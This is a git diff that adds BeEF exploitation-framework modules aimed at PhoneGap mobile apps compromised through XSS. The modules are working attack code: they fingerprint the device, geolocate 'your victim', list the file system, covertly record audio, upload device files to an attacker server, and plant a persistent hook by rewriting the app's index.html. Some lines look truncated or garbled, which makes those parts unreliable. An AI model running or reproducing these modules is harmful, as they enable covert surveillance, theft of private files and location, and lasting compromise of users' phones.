diff --git a/modules/phonegap/README b/modules/phonegap/README new file mode 100644 index 000000000..707939fc8 --- /dev/null +++ b/modules/phonegap/README @@ -0,0 +1,6 @@ +== BeEF Modules for PhoneGap applications == + +1. Get XSS +2. Install BeEF from beefproject +3. Copy this directoy into module directory +4. Profit diff --git a/modules/phonegap/beep/command.js b/modules/phonegap/beep/command.js new file mode 100644 index 000000000..2ac2ca121 --- /dev/null +++ b/modules/phonegap/beep/command.js @@ -0,0 +1,7 @@ +// +// make the phone beep +// +beef.execute(function() { + navigator.notification.beep(1); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'Beeped'); +}); diff --git a/modules/phonegap/beep/config.yaml b/modules/phonegap/beep/config.yaml new file mode 100644 index 000000000..c542368c0 --- /dev/null +++ b/modules/phonegap/beep/config.yaml @@ -0,0 +1,12 @@ +# phonegap +# +beef: + module: + Beep: + enable: true + category: "Phonegap" + name: "Beep" + description: "Make the phone beep" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/beep/module.rb b/modules/phonegap/beep/module.rb new file mode 100644 index 000000000..22a0165b7 --- /dev/null +++ b/modules/phonegap/beep/module.rb @@ -0,0 +1,12 @@ +# phonegap +# + +class Beep < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end diff --git a/modules/phonegap/detect/command.js b/modules/phonegap/detect/command.js new file mode 100644 index 000000000..7b2e87f59 --- /dev/null +++ b/modules/phonegap/detect/command.js @@ -0,0 +1,12 @@ +// +// exploit phonegap +// +beef.execute(function() { + + beef.net.send("<%= @command_url %>", <%= @command_id %>, + 'phonegap_version='+" name: " + device.name + + " phonegap api: " + device.phonegap + + " platform: " + device.platform + + " uuid: " + device.uuid + + " version: " + device.version); +}); diff --git a/modules/phonegap/detect/config.yaml b/modules/phonegap/detect/config.yaml new file mode 100644 index 000000000..b4a920b2c --- /dev/null +++ b/modules/phonegap/detect/config.yaml @@ -0,0 +1,12 @@ +# phonegap +# +beef: + module: + Detect: + enable: true + category: "Phonegap" + name: "Detect phonegap" + description: "Detects if phonegap api is present" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/detect/module.rb b/modules/phonegap/detect/module.rb new file mode 100644 index 000000000..274112c04 --- /dev/null +++ b/modules/phonegap/detect/module.rb @@ -0,0 +1,12 @@ +# phonegap +# + +class Detect < BeEF::Core::Command + + def post_execute + content = {} + content['phonegap_version'] = @datastore['phonegap_version'] + save content + end + +end diff --git a/modules/phonegap/file_upload/command.js b/modules/phonegap/file_upload/command.js new file mode 100644 index 000000000..34903d311 --- /dev/null +++ b/modules/phonegap/file_upload/command.js @@ -0,0 +1,44 @@ +// +// phonegap_upload +// +beef.execute(function() { + var result = 'unchanged'; + + // TODO return result to beef + function win(r) { + //alert(r.response); + result = 'success'; + } + + // TODO return result to beef + function fail(error) { + //alert('error! errocode =' + error.code); + result = 'fail'; + } + + // (ab)use phonegap api to upload file + function beef_upload(file_path, upload_url) { + + var options = new FileUploadOptions(); + options.fileKey="content"; + + // grab filename from the filepath + re = new RegExp("([^/]*)$"); + options.fileName = file_path.match(re)[0]; + //options.fileName="myrecording.wav";// TODO grab from filepath + + // needed? + var params = new Object(); + params.value1 = "test"; + params.value2 = "param"; + options.params = params; + // needed? + + var ft = new FileTransfer(); + ft.upload(file_path, upload_url, win, fail, options); + } + + beef_upload('<%== @file_upload_src %>', '<%== @file_upload_dst %>'); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); // move this to inside beef_upload +}); diff --git a/modules/phonegap/file_upload/config.yaml b/modules/phonegap/file_upload/config.yaml new file mode 100644 index 000000000..51eb3d568 --- /dev/null +++ b/modules/phonegap/file_upload/config.yaml @@ -0,0 +1,12 @@ +# phonegap +# +beef: + module: + File_upload: + enable: true + category: "Phonegap" + name: "Upload file" + description: "Upload files from device to server of your choice" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/file_upload/module.rb b/modules/phonegap/file_upload/module.rb new file mode 100644 index 000000000..66e2d2061 --- /dev/null +++ b/modules/phonegap/file_upload/module.rb @@ -0,0 +1,28 @@ +# phonegap +# + +class File_upload < BeEF::Core::Command + + def self.options + return [{ + 'name' => 'file_upload_dst', + 'description' => 'Upload a file from device to your server', + 'ui_label'=>'detination', + 'value' => 'http://192.168.9.130/recv-unauth.php', + 'width' => '300px' + },{ + 'name' => 'file_upload_src', + 'description' => 'path to file on device', + 'ui_label'=>'file path', + 'value' => '/sdcard/myrecording.wav', + 'width' => '300px' + }] + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end +end diff --git a/modules/phonegap/geo_locate/command.js b/modules/phonegap/geo_locate/command.js new file mode 100644 index 000000000..b7dd482c9 --- /dev/null +++ b/modules/phonegap/geo_locate/command.js @@ -0,0 +1,30 @@ +// +// geo locate +// +beef.execute(function() { + var onSuccess = function(position) { + result = + 'Latitude: ' + position.coords.latitude + '\n' + + 'Longitude: ' + position.coords.longitude + '\n' + + 'Altitude: ' + position.coords.altitude + '\n' + + 'Accuracy: ' + position.coords.accuracy + '\n' + + 'Altitude Accuracy: ' + position.coords.altitudeAccuracy + '\n' + + 'Heading: ' + position.coords.heading + '\n' + + 'Speed: ' + position.coords.speed + '\n' + + 'Timestamp: ' + new Date(position.timestamp) + '\n' ; + + map = 'Map url: http://maps.google.com/?ll='+ + position.coords.latitude + ',' + position.coords.longitude; + + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result+map ); + }; + + // onError Callback receives a PositionError object + // + function onError(error) { + console.log('code: ' + error.code + '\n' + + 'message: ' + error.message + '\n'); + } + + navigator.geolocation.getCurrentPosition(onSuccess, onError); +}); diff --git a/modules/phonegap/geo_locate/config.yaml b/modules/phonegap/geo_locate/config.yaml new file mode 100644 index 000000000..7885b1386 --- /dev/null +++ b/modules/phonegap/geo_locate/config.yaml @@ -0,0 +1,12 @@ +# phonegap +# +beef: + module: + Geo_locate: + enable: true + category: "Phonegap" + name: "Geo locate" + description: "Geo locate your victim" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/geo_locate/module.rb b/modules/phonegap/geo_locate/module.rb new file mode 100644 index 000000000..e39b349cd --- /dev/null +++ b/modules/phonegap/geo_locate/module.rb @@ -0,0 +1,12 @@ +# phonegap +# + +class Geo_locate < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end diff --git a/modules/phonegap/list_files/command.js b/modules/phonegap/list_files/command.js new file mode 100644 index 000000000..01bd168f4 --- /dev/null +++ b/modules/phonegap/list_files/command.js @@ -0,0 +1,36 @@ +// +// phonegap_upload +// +beef.execute(function() { + var directory = "<%== @directory %>"; + var result = ''; + + function fail() { + result = 'fail'; + + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + } + + function success(entries) { + var i; + for (i=0; i", <%= @command_id %>, 'result='+result ); + } + + // use directoryentry to create directory reader + function gotDirEntry(dirEntry) { + var directoryReader = dirEntry.createReader(); + directoryReader.readEntries(success,fail); + } + + // use getDirectoy to create reference to directoryentry + function gotFS(fileSystem) { + fileSystem.root.getDirectory(directory, null, gotDirEntry, fail); + } + + window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail); + +}); diff --git a/modules/phonegap/list_files/config.yaml b/modules/phonegap/list_files/config.yaml new file mode 100644 index 000000000..452f9992d --- /dev/null +++ b/modules/phonegap/list_files/config.yaml @@ -0,0 +1,12 @@ +# phonegap +# +beef: + module: + List_files: + enable: true + category: "Phonegap" + name: "List files" + description: "Examine device file system" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/list_files/module.rb b/modules/phonegap/list_files/module.rb new file mode 100644 index 000000000..3151d260f --- /dev/null +++ b/modules/phonegap/list_files/module.rb @@ -0,0 +1,22 @@ +# phonegap +# + +class List_files < BeEF::Core::Command + + def self.options + return [{ + 'name' => 'directory', + 'description' => 'List files in this directory', + 'ui_label'=>'Directory', + 'value' => '/', + 'width' => '300px' + }] + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end +end diff --git a/modules/phonegap/persistence/command.js b/modules/phonegap/persistence/command.js new file mode 100644 index 000000000..2121d54d3 --- /dev/null +++ b/modules/phonegap/persistence/command.js @@ -0,0 +1,137 @@ +// +// persistence +// +beef.execute(function() { + + // insert hook into index.html + // + // 1. locate index.html + // 2. read it in + // 3. add our hook + // 4. write it back out to same location + + // 1. locate index.html + // + // list dirs under current dir + // one should be something.app + // inside that should be a www dir and in that an index.html + // + + // write the file with new hook + function write_file(text) { + + function fail () { + console.log('write_file fail') + } + + function gotFileWriter(writer) { + writer.onwrite = function(evt) { + console.log("write success"); + } + writer.write(text); + } + + function gotFileEntry(fileEntry) { + fileEntry.createWriter(gotFileWriter, fail); + } + + function gotFS(fileSystem) { + fileSystem.root.getFile("../"+window.tmpfilename+"/www/index.html", null, gotFileEntry, fail); + } + + window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail); + + } + + // find and insert our hook. + function replace_text(text) { + re = new RegExp("", "g"); + hook_url = '<%== @hook_url %>'; + new_text = text.replace(re, "") + + write_file(new_text); + } + + function read_index(app_name) { + function fail () { + console.log('read_index fail') + } + + function readFile(file) { + var reader = new FileReader(); + reader.onloadend = function(evt) { + //console.log("Read as text"); + console.log(evt.target.result); + replace_text(evt.target.result); + }; + reader.readAsText(file); + } + + function gotFileEntry(fileEntry) { + fileEntry.file(readFile, fail); + } + + function gotFS(fileSystem) { + fileSystem.root.getFile("../"+app_name+"/www/index.html", null, gotFileEntry, fail); + } + + window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail); + } + + function locate() { + + function result(entries) { + console.log('result'); + var i; + for (i=0; i.app + var re = new RegExp(/^[a-zA-Z0-9]*\.app/) + var match = re.exec(entries[i].name) + if (match) { + console.log('found ' + entries[i].name); + + // look for ../.app/www/index.html + read_index(entries[i].name); + + // FIXME find a less hacky way + // just wanted to make this global so I didnt have to call it again to write the file + window.tmpfilename = entries[i].name; + } + } + } + + + function fail() { + console.log('fail'); + } + + function win(entries) { + console.log('win'); + result(entries); + } + + // use directoryentry to create directory reader + function gotDirEntry(dirEntry) { + var directoryReader = dirEntry.createReader(); + directoryReader.readEntries(win,fail); + } + + // use getDirectoy to create reference to directoryentry + function gotFS(fileSystem) { + // on iphone current dir defaults to .app/documents + // so we wanna look in our parent directory for .app + fileSystem.root.getDirectory('../', null, gotDirEntry, fail); + } + + window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail); + } + + + //result = fail; + //beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result); + + locate(); + result = 'success'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result); + +}); diff --git a/modules/phonegap/persistence/config.yaml b/modules/phonegap/persistence/config.yaml new file mode 100644 index 000000000..6343e7d82 --- /dev/null +++ b/modules/phonegap/persistence/config.yaml @@ -0,0 +1,12 @@ +# phonegap persistence +# +beef: + module: + Persistence: + enable: true + category: "Phonegap" + name: "Persistence" + description: "Insert the beef hook into phonegap's index.html (iphone only)" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/persistence/module.rb b/modules/phonegap/persistence/module.rb new file mode 100644 index 000000000..f3c212d82 --- /dev/null +++ b/modules/phonegap/persistence/module.rb @@ -0,0 +1,22 @@ +# phonegap persistenece +# + +class Persistence < BeEF::Core::Command + + def self.options + return [{ + 'name' => 'hook_url', + 'description' => 'The URL of your beef hook', + 'ui_label'=>'Hook URL', + 'value' => 'http://beef:3000/hook.js', + 'width' => '300px' + }] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end diff --git a/modules/phonegap/start_record_audio/command.js b/modules/phonegap/start_record_audio/command.js new file mode 100644 index 000000000..8f043805d --- /dev/null +++ b/modules/phonegap/start_record_audio/command.js @@ -0,0 +1,24 @@ +// +// exploit phonegap +// +beef.execute(function() { + // TODO detect iphone/android and set this accordingly + var file_uri = "<%== @file_name %>"; + + m = new Media(file_uri); + m.startRecord(); + // weirdly setTimeout and stopRecord don't seem to work together + //milliseconds = "<%== @duration %>" * 1000; + //setTimeout("m.stopRecord()", milliseconds); + + // so here is an ugly work around + //start = new Date(); + //stop = start.getTime() + 5000; + //do { + // current = new Date(); + // current = current.getTime(); + //} while(current < stop) + //m.stopRecord(); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "started recording"); +}); diff --git a/modules/phonegap/start_record_audio/config.yaml b/modules/phonegap/start_record_audio/config.yaml new file mode 100644 index 000000000..749686b8e --- /dev/null +++ b/modules/phonegap/start_record_audio/config.yaml @@ -0,0 +1,12 @@ +# phonegap +# +beef: + module: + Start_record_audio: + enable: true + category: "Phonegap" + name: "Start record audio" + description: "Start Record audio" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/start_record_audio/module.rb b/modules/phonegap/start_record_audio/module.rb new file mode 100644 index 000000000..6c54e271b --- /dev/null +++ b/modules/phonegap/start_record_audio/module.rb @@ -0,0 +1,22 @@ +# phonegap +# + +class Start_record_audio < BeEF::Core::Command + + def self.options + return [ + {'name' => 'file_name', + 'description' => 'File name for audio recording', + 'ui_label' => 'file name', + 'value' => 'myrecording.wav' + } + ] + end + + def post_execute + content = {} + content['file_name'] = @datastore['file_name'] + save content + end + +end diff --git a/modules/phonegap/stop_record_audio/command.js b/modules/phonegap/stop_record_audio/command.js new file mode 100644 index 000000000..381e48c72 --- /dev/null +++ b/modules/phonegap/stop_record_audio/command.js @@ -0,0 +1,20 @@ +// +// exploit phonegap +// +beef.execute(function() { + m.stopRecord(); + // weirdly setTimeout and stopRecord don't seem to work together + //milliseconds = "<%== @duration %>" * 1000; + //setTimeout("m.stopRecord()", milliseconds); + + // so here is an ugly work around + //start = new Date(); + //stop = start.getTime() + 5000; + //do { + // current = new Date(); + // current = current.getTime(); + //} while(current < stop) + //m.stopRecord(); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "finished recording"); +}); diff --git a/modules/phonegap/stop_record_audio/config.yaml b/modules/phonegap/stop_record_audio/config.yaml new file mode 100644 index 000000000..6b612c802 --- /dev/null +++ b/modules/phonegap/stop_record_audio/config.yaml @@ -0,0 +1,12 @@ +# phonegap +# +beef: + module: + Stop_record_audio: + enable: true + category: "Phonegap" + name: "Stop record audio" + description: "Stop Record audio" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/stop_record_audio/module.rb b/modules/phonegap/stop_record_audio/module.rb new file mode 100644 index 000000000..58df67a6f --- /dev/null +++ b/modules/phonegap/stop_record_audio/module.rb @@ -0,0 +1,7 @@ +# phonegap +# + +class Stop_record_audio < BeEF::Core::Command + + +end